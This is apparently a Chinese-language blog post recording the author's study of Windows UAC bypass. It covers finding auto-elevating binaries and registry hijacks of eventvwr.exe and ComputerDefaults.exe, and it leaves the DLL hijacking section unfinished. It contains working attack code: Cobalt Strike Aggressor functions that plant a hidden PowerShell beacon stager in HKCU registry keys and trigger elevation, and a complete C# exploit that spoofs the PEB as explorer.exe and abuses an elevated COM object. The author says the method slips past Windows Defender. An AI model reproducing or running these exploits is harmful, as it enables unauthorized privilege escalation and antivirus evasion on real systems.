这篇总结一下最近学习的BypassUac的技巧
BypassUac目前我知道的有 Dll劫持、注册表劫持、COM组件等
后面有机会的话,我会一一展示这些我所学的知识(当然更多的只是作为记录,毕竟文笔太过于粗糙)
什么是Uac
用户帐户控制(User Account Control,简写作UAC)是微软公司在其Windows Vista及更高版本操作系统中采用的一种控制机制。其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序(有时也称为“恶意软件”)损坏系统的效果。
下面是一些典型的需要 Uac的操作
当以管理员运行程序时候

打开注册表时候

有的需要我们手动授权,有的不需要,因为UAC是分授权等级的
在我们本地的策略组可以看到这些


为什么有的程序不需要提示UAC

因此拥有自动权限提升属性的文件,当默认以管理员权限运行,不需要经过用户的授权
如何寻找这些程序
使用 Strings
与 sigcheck
这两个都是微软提供的工具
https://docs.microsoft.com/zh-cn/sysinternals/downloads/
strings.exe -s *.exe | findstr /i autoelevate
sigcheck.exe -m C:WindowsSystem32cmd.exe
使用 Strings

可以看到我们 BypassUac
的几个好朋友在里面
使用 sigcheck(使用Python脚本调用,记得吧 sigcheck添进环境变量里面去)
https://gist.githubusercontent.com/riyazwalikar/cd31948f247b96d472b97be2a36030b4/raw/a7379c4f5c015e46d65703ee73e674b1c4315810/findelevate.py
# Usage: findelevate.py C:WindowsSystem32
# Needs sigcheck.exe in path [https://technet.microsoft.com/en-us/sysinternals/bb897441.aspx]
import sys
import os
import glob
import subprocess
if len(sys.argv) < 2:
print "Usage: findelevate.py <PATH>"
print "Ex: Usage: findelevate.py C:\Windows\System32\"
sys.exit()
d = sys.argv[1]
if not (d.endswith('\')):
d = d+'\'
exefiles = []
if os.path.isdir(d):
exefiles = glob.glob(d+'*.exe')
i = 0
for exe in exefiles:
p = subprocess.Popen(['sigcheck', '-nobanner','-m', exe],stdout=subprocess.PIPE,stderr=subprocess.PIPE)
out, err = p.communicate()
if 'true</autoElevate>' in out: #will check for xmlns autoelevate as well. Thanks @mynameisv_
print exe.strip()
i = i + 1
print "Found " + str(i) + " executables with autoElevate set to true!"

这里面拿倾旋师傅的例子来讲, C:Windowssystem32odbcad32.exe
该程序用于配置ODBC数据源,但提供了一个输入点,那就是文件浏览器,通过文件浏览器我们可以打开一个管理员权限的Powershell

不需要我们点击Uac的窗口
当然对于这样的输入我们是不能接受的,我们需要的是可控、稳定的输入口(dll路径,注册表等等)
BypassUac基础(注册表劫持实现BypassUac)
BypassUac之eventvwr
该程序位于 C:WindowsSystem32eventvwr.exe
我们查看一下该二进制文件属性
sigcheck.exe -m C:WindowsSystem32eventvwr.exe

确实可以自动提升权限
此程序我们可以劫持的输入点是位于HKCUSoftwareClassesmscfileshellopencommand
的注册表
我们测试一下

我们将这个改为 cmd.exe
试试(若注册表没有这个键,自行添加)

我们执行以下 eventvwr.exe
试试

不知道这里为啥没打 *
号
我用CS的木马测试成功了

下面分析一下为什么会这样吧,这里我们需要使用 Process Monito
这个 工具
设置好对应条件后

在我们未修改注册表前

确实会访问这个键值,但是一开始里面没有
我们去掉一些过滤条件,看一下这之后的操作

可以看到未找到 HKCUSoftwareClassesmscfileshellopencommand
就去 HKCRmscfileshellopencommand
中查找值了

这个值默认是 C:WindowsSystem32mmc.exe

我们启动一下,可以看到确实就是我们的任务管理器
但是要是找到了 HKCU
中的值,就会拿里面的值启动了,也因此就会导致BypassUac

我们为什么要劫持 HKCU
呢?因为这个里面的值我们当前用户是可以修改的
学以致用
学习某样东西,不仅仅要学习如何利用,更要与当前框架联系起来,这里面为了方便,我把这个功能写进了 Cobalt Strike
里面
sub eventvwr_uac{
$Rch = "x86";
if (beacon_info($bid,"is64") == 1){
$Rch = "x64";
}
local('$script $oneliner');
$script = artifact_stager($3['listener'],"powershell",$Rch);
$oneliner = beacon_host_script($3['bid'],$script);
$command = "reg add "HKCU\Software\Classes\mscfile\shell\open\command" /f /d "" . "cmd.exe /c powershell -nop -w hidden -c \"" . $oneliner . "\\""";
bshell($3['bid'], $command);
bshell($3['bid'], "eventvwr.exe");
$command = "reg delete "HKCU\Software\Classes\mscfile\shell\open\command" /f";
bshell($3['bid'], $command);
}


当然这这是不免杀的,后面会对于免杀方面做一下功夫
另外这种方法对Win10是失效的
原因就是在 Win10中, eventvwr.exe
不会再从这个注册表中读取值来执行了

BypassUac之ComputerDefaults
上文我们说过,在 Win10中已经不支持 eventvwr.exe
的Uac提升了,那么我们这里面还有什么呢?
这里面我们找到的是 ComputerDefaults
这个劫持的是 HKCUSoftwareClassesms-settingsshellopencommand

我们需要将默认值、DelegateExecute的值同时设置

弹出BypassUac的窗口

原理同上
sub ComputerDefaults{
$Rch = "x86";
if (beacon_info($bid,"is64") == 1){
$Rch = "x64";
}
local('$script $oneliner');
$script = artifact_stager($3['listener'],"powershell",$Rch);
$oneliner = beacon_host_script($3['bid'],$script);
$command1 = "reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /f /d "" . "cmd.exe /c powershell -nop -w hidden -c \"" . $oneliner . "\\""";
bshell($3['bid'], $command1);
$command2 = "reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /v DelegateExecute /f /d "" . "cmd.exe /c powershell -nop -w hidden -c \"" . $oneliner . "\\""";
bshell($3['bid'],$command2);
bshell($3['bid'], "ComputerDefaults.exe");
$command1 = "reg delete "HKCU\Software\Classes\ms-settings\shell\open\command" /f";
bshell($3['bid'], $command1);
}

关于注册表BypassUac的学习暂时就到这里面了
基于注册表BypassUac的总结
一般都是找位于 HKCU
的键,还有就是这类的很容易被拦截,不论是你用 powershell也好,还是设置可执行文件路径也好,想360等杀软都会检测到报个警报,后面有机会的话看看能否Bypass一下
最近学习了点CSharp,用这个写的程序能很舒适的加载到CS上面
其他框架下的支持
上文只是笔者针对自身学习做的分析,下面介绍一下常用的一些框架

在MSF中搜索 BypassUac
你也可以看到很多BypassUac的方法
CS中也集成了不少这些东西

参考
https://payloads.online/archivers/2018-12-22/1
http://blog.leanote.com/post/snowming/ec21a4823438
BypassUac的基础(Dll劫持)
这部分我参考倾旋师傅的视频和文章进行学习
https://www.bilibili.com/video/av51718274
https://payloads.online/archivers/2018-12-22/1
主要的方法就是劫持程序加载的DLL路径,我们来看看程序加载DLL过程是什么
1.程序所在目录
2.程序加载目录(SetCurrentDirectory)
3.系统目录即 SYSTEM32 目录
4.16位系统目录即 SYSTEM 目录
5.Windows目录
6.PATH环境变量中列出的目录
不会,先pass掉
COM组件
COM组件加载过程
1.HKCUSoftwareClassesCLSID
2.HKCRCLSID
3.HKLMSOFTWAREMicrosoftWindowsCurrentVersionShellCompatibilityObjects

大佬们分享出来的代码
using System;
using System.Runtime.InteropServices;
using System.Runtime.CompilerServices;
namespace BypassUAC
{
class Program
{
public enum NtStatus : uint
{
Success = 0,
Informational = 0x40000000,
Error = 0xc0000000
}
public static bool IsSuccess(NtStatus status) => status >= NtStatus.Success && status < NtStatus.Informational;
public static bool IsWOW64() => IntPtr.Size == 4;
[StructLayout(LayoutKind.Sequential)]
public struct UNICODE_STRING : IDisposable
{
public ushort Length;
public ushort MaximumLength;
private IntPtr buffer;
public UNICODE_STRING(string s)
{
Length = (ushort)(s.Length * 2);
MaximumLength = (ushort)(Length + 2);
buffer = Marshal.StringToHGlobalUni(s);
}
public void Dispose()
{
Marshal.FreeHGlobal(buffer);
buffer = IntPtr.Zero;
}
public override string ToString()
{
return Marshal.PtrToStringUni(buffer);
}
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct LIST_ENTRY
{
public IntPtr Flink;
public IntPtr Blink;
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct PROCESS_BASIC_INFORMATION
{
#if (Is64)
public UInt64 ExitStatus;
#else
public UInt32 ExitStatus;
#endif
public IntPtr PebBaseAddress;
public IntPtr AffinityMask;
#if (Is64)
public long BasePriority;
#else
public Int32 BasePriority;
#endif
public UIntPtr UniqueProcessId;
public IntPtr InheritedFromUniqueProcessId;
public int Size
{
get { return (int)Marshal.SizeOf(typeof(PROCESS_BASIC_INFORMATION)); }
}
}
[StructLayout(LayoutKind.Explicit, Size = 0x40)]
public struct PEB
{
[FieldOffset(0x000)]
public byte InheritedAddressSpace;
[FieldOffset(0x001)]
public byte ReadImageFileExecOptions;
[FieldOffset(0x002)]
public byte BeingDebugged;
[FieldOffset(0x003)]
#if (Is64)
public byte Spare;
[FieldOffset(0x008)]
public IntPtr Mutant;
[FieldOffset(0x010)]
public IntPtr ImageBaseAddress; // (PVOID)
[FieldOffset(0x018)]
public IntPtr Ldr; // (PPEB_LDR_DATA)
[FieldOffset(0x020)]
public IntPtr ProcessParameters; // (PRTL_USER_PROCESS_PARAMETERS)
[FieldOffset(0x028)]
public IntPtr SubSystemData; // (PVOID)
[FieldOffset(0x030)]
public IntPtr ProcessHeap; // (PVOID)
[FieldOffset(0x038)]
public IntPtr FastPebLock; // (PRTL_CRITICAL_SECTION)
#else
public byte Spare;
[FieldOffset(0x004)]
public IntPtr Mutant;
[FieldOffset(0x008)]
public IntPtr ImageBaseAddress; // (PVOID)
[FieldOffset(0x00c)]
public IntPtr Ldr; // (PPEB_LDR_DATA)
[FieldOffset(0x010)]
public IntPtr ProcessParameters; // (PRTL_USER_PROCESS_PARAMETERS)
[FieldOffset(0x014)]
public IntPtr SubSystemData; // (PVOID)
[FieldOffset(0x018)]
public IntPtr ProcessHeap; // (PVOID)
[FieldOffset(0x01c)]
public IntPtr FastPebLock; // (PRTL_CRITICAL_SECTION)
#endif //Is64
}
[StructLayout(LayoutKind.Sequential)]
public struct PEB_LDR_DATA
{
public UInt32 Length;
public Byte Initialized;
public IntPtr SsHandle;
public LIST_ENTRY InLoadOrderModuleList;
public LIST_ENTRY InMemoryOrderModuleList;
public LIST_ENTRY InInitializationOrderModuleList;
public IntPtr EntryInProgress;
}
[StructLayout(LayoutKind.Sequential)]
public struct LDR_DATA_TABLE_ENTRY
{
public LIST_ENTRY InLoadOrderLinks;
public LIST_ENTRY InMemoryOrderLinks;
public LIST_ENTRY InInitializationOrderLinks;
public IntPtr DllBase;
public IntPtr EntryPoint;
public UInt32 SizeOfImage;
public UNICODE_STRING FullDllName;
public UNICODE_STRING BaseDllName;
}
public enum PageProtection : uint
{
PAGE_EXECUTE = 0x00000010,
PAGE_EXECUTE_READ = 0x00000020,
PAGE_EXECUTE_READWRITE = 0x00000040,
PAGE_EXECUTE_WRITECOPY = 0x00000080,
PAGE_NOACCESS = 0x00000001,
PAGE_READONLY = 0x00000002,
PAGE_READWRITE = 0x00000004,
PAGE_WRITECOPY = 0x00000008,
PAGE_GUARD = 0x00000100,
PAGE_NOCACHE = 0x00000200,
PAGE_WRITECOMBINE = 0x00000400
}
[DllImport("kernel32.dll")]
public static extern Boolean WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
IntPtr lpBuffer,
UInt32 nSize,
ref IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
public static extern Boolean VirtualProtectEx(
IntPtr hProcess,
IntPtr lpAddress,
UInt32 dwSize,
PageProtection flNewProtect,
ref IntPtr lpflOldProtect);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr GetCurrentProcess();
[DllImport("ntdll.dll")]
public static extern void RtlInitUnicodeString(
ref UNICODE_STRING DestinationString,
[MarshalAs(UnmanagedType.LPWStr)] string SourceString);
[DllImport("ntdll.dll")]
public static extern void RtlEnterCriticalSection(
IntPtr lpCriticalSection);
[DllImport("ntdll.dll")]
public static extern void RtlLeaveCriticalSection(
IntPtr lpCriticalSection);
[DllImport("ntdll.dll")]
public static extern NtStatus NtQueryInformationProcess(
IntPtr ProcessHandle,
int ProcessInformationClass,
IntPtr ProcessInformation,
int ProcessInformationLength,
ref int ReturnLength);
public enum HRESULT : long
{
S_FALSE = 0x0001,
S_OK = 0x0000,
E_INVALIDARG = 0x80070057,
E_OUTOFMEMORY = 0x8007000E
}
[StructLayout(LayoutKind.Sequential)]
public struct BIND_OPTS3
{
public uint cbStruct;
public uint grfFlags;
public uint grfMode;
public uint dwTickCountDeadline;
public uint dwTrackFlags;
public uint dwClassContext;
public uint locale;
public IntPtr pServerInfo; // will be passing null, so type doesn't matter
public IntPtr hwnd;
}
[DllImport("ole32.dll", CharSet = CharSet.Unicode, ExactSpelling = true, PreserveSig = false)]
internal static extern int CoGetObject(
string pszName,
[In] ref BIND_OPTS3 pBindOptions,
[In, MarshalAs(UnmanagedType.LPStruct)] Guid riid,
[MarshalAs(UnmanagedType.IUnknown)] out object rReturnedComObject);
[Flags]
public enum CLSCTX
{
CLSCTX_INPROC_SERVER = 0x1,
CLSCTX_INPROC_HANDLER = 0x2,
CLSCTX_LOCAL_SERVER = 0x4,
CLSCTX_REMOTE_SERVER = 0x10,
CLSCTX_NO_CODE_DOWNLOAD = 0x400,
CLSCTX_NO_CUSTOM_MARSHAL = 0x1000,
CLSCTX_ENABLE_CODE_DOWNLOAD = 0x2000,
CLSCTX_NO_FAILURE_LOG = 0x4000,
CLSCTX_DISABLE_AAA = 0x8000,
CLSCTX_ENABLE_AAA = 0x10000,
CLSCTX_FROM_DEFAULT_CONTEXT = 0x20000,
CLSCTX_INPROC = CLSCTX_INPROC_SERVER | CLSCTX_INPROC_HANDLER,
CLSCTX_SERVER = CLSCTX_INPROC_SERVER | CLSCTX_LOCAL_SERVER | CLSCTX_REMOTE_SERVER,
CLSCTX_ALL = CLSCTX_SERVER | CLSCTX_INPROC_HANDLER
}
[ComImport, Guid("6EDD6D74-C007-4E75-B76A-E5740995E24C"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
interface ILua
{
[MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]
void Method1();
[MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]
void Method2();
[MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]
void Method3();
[MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]
void Method4();
[MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]
void Method5();
[MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]
void Method6();
[MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]
HRESULT ShellExec(
[In, MarshalAs(UnmanagedType.LPWStr)] string file,
[In, MarshalAs(UnmanagedType.LPWStr)] string paramaters,
[In, MarshalAs(UnmanagedType.LPWStr)] string directory,
[In] uint fMask,
[In] uint nShow);
}
public static object LaunchElevatedCOMObject(Guid Clsid, Guid InterfaceID)
{
string CLSID = Clsid.ToString("B"); // B formatting directive: returns {xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}
string monikerName = "Elevation:Administrator!new:" + CLSID;
BIND_OPTS3 bo = new BIND_OPTS3();
bo.cbStruct = (uint)Marshal.SizeOf(bo);
bo.dwClassContext = (int)CLSCTX.CLSCTX_LOCAL_SERVER;
object retVal;
int h = CoGetObject(monikerName, ref bo, InterfaceID, out retVal);
if (h != 0) return null;
return retVal;
}
static IntPtr StructureToPtr(object obj)
{
IntPtr ptr = Marshal.AllocHGlobal(Marshal.SizeOf(obj));
Marshal.StructureToPtr(obj, ptr, false);
return ptr;
}
public static void McfInitUnicodeString(IntPtr procHandle, IntPtr lpDestAddress, string uniStr)
{
UNICODE_STRING masq = new UNICODE_STRING(uniStr);
IntPtr masqPtr = StructureToPtr(masq);
IntPtr lpflOldProtect = IntPtr.Zero;
IntPtr lpNumberOfBytesWritten = IntPtr.Zero;
VirtualProtectEx(procHandle, lpDestAddress, (uint)Marshal.SizeOf(typeof(UNICODE_STRING)), PageProtection.PAGE_EXECUTE_READWRITE, ref lpflOldProtect);
WriteProcessMemory(procHandle, lpDestAddress, masqPtr, (uint)Marshal.SizeOf(typeof(UNICODE_STRING)), ref lpNumberOfBytesWritten);
}
public static void MasqueradePEB()
{
IntPtr pbiPtr = IntPtr.Zero;
IntPtr pebPtr = IntPtr.Zero;
IntPtr pldPtr = IntPtr.Zero;
IntPtr lpflOldProtect = IntPtr.Zero;
int result = 0;
IntPtr FullDllNamePtr, BaseDllNamePtr;
PEB peb;
PEB_LDR_DATA pld;
PROCESS_BASIC_INFORMATION pbi = new PROCESS_BASIC_INFORMATION();
//string Arch = System.Environment.GetEnvironmentVariable("PROCESSOR_ARCHITECTURE");
IntPtr procHandle = GetCurrentProcess();
pbiPtr = StructureToPtr(pbi);
NtStatus Status = Program.NtQueryInformationProcess(procHandle, 0, pbiPtr, Marshal.SizeOf(pbi), ref result);
//MessageBox.Show($"return code {Status:X}");
if (IsSuccess(Status))
{
pbi = (PROCESS_BASIC_INFORMATION)Marshal.PtrToStructure(pbiPtr, typeof(PROCESS_BASIC_INFORMATION));
peb = (PEB)Marshal.PtrToStructure(pbi.PebBaseAddress, typeof(PEB));
pld = (PEB_LDR_DATA)Marshal.PtrToStructure(peb.Ldr, typeof(PEB_LDR_DATA));
PEB_LDR_DATA StartModule = (PEB_LDR_DATA)Marshal.PtrToStructure(peb.Ldr, typeof(PEB_LDR_DATA));
IntPtr pStartModuleInfo = StartModule.InLoadOrderModuleList.Flink;
IntPtr pNextModuleInfo = pld.InLoadOrderModuleList.Flink;
RtlEnterCriticalSection(peb.FastPebLock);
if (IsWOW64())
{
//MessageBox.Show("32bit process");
FullDllNamePtr = new IntPtr(pNextModuleInfo.ToInt32() + 0x24);
BaseDllNamePtr = new IntPtr(pNextModuleInfo.ToInt32() + 0x2C);
}
else
{
//MessageBox.Show("64bit process");
FullDllNamePtr = new IntPtr(pNextModuleInfo.ToInt64() + 0x48);
BaseDllNamePtr = new IntPtr(pNextModuleInfo.ToInt64() + 0x58);
}
do
{
LDR_DATA_TABLE_ENTRY ldte = (LDR_DATA_TABLE_ENTRY)Marshal.PtrToStructure(pNextModuleInfo, typeof(LDR_DATA_TABLE_ENTRY));
if (ldte.DllBase == peb.ImageBaseAddress)
{
//RtlInitUnicodeString(ref ldte.BaseDllName, "explorer.exe");
//RtlInitUnicodeString(ref ldte.FullDllName, "C:\windows\explorer.exe");
McfInitUnicodeString(procHandle, BaseDllNamePtr, "explorer.exe");
McfInitUnicodeString(procHandle, FullDllNamePtr, $"{System.Environment.GetEnvironmentVariable("SystemRoot").ToLower()}\explorer.exe");
break;
}
pNextModuleInfo = ldte.InLoadOrderLinks.Flink;
} while (pNextModuleInfo != pStartModuleInfo);
RtlLeaveCriticalSection(peb.FastPebLock);
}
return;
}
[STAThread]
static void Main(string[] args)
{
Guid classId = new Guid("3E5FC7F9-9A51-4367-9063-A120244FBEC7");
Guid interfaceId = new Guid("6EDD6D74-C007-4E75-B76A-E5740995E24C");
MasqueradePEB();
object elvObject = LaunchElevatedCOMObject(classId, interfaceId);
if (elvObject != null)
{
//MessageBox.Show("Got the Object");
ILua ihw = (ILua)elvObject;
ihw.ShellExec("c:\windows\system32\cmd.exe", null, null, 0, 5);
Marshal.ReleaseComObject(elvObject);
}
}
}
}

将路径改为你的可执行文件路径即可(可BypassAv/提权)
Windows Defen不拦截(不过木马需要你自行免杀一下)
对于COM组件这种利用方式不是很懂